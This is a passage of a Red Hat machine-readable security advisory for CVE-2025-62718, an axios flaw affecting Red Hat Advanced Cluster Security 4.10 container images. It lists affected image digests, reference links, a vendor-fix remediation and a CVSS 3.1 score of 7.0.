"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-62718"
},
{
"category": "external",
"summary": "RHBZ#2456913",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456913"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"category": "external",
"summary": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"category": "external",
"summary": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/pull/10661",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/releases/tag/v1.15.0",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
}
],
"release_date": "2026-04-09T14:31:46.067000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
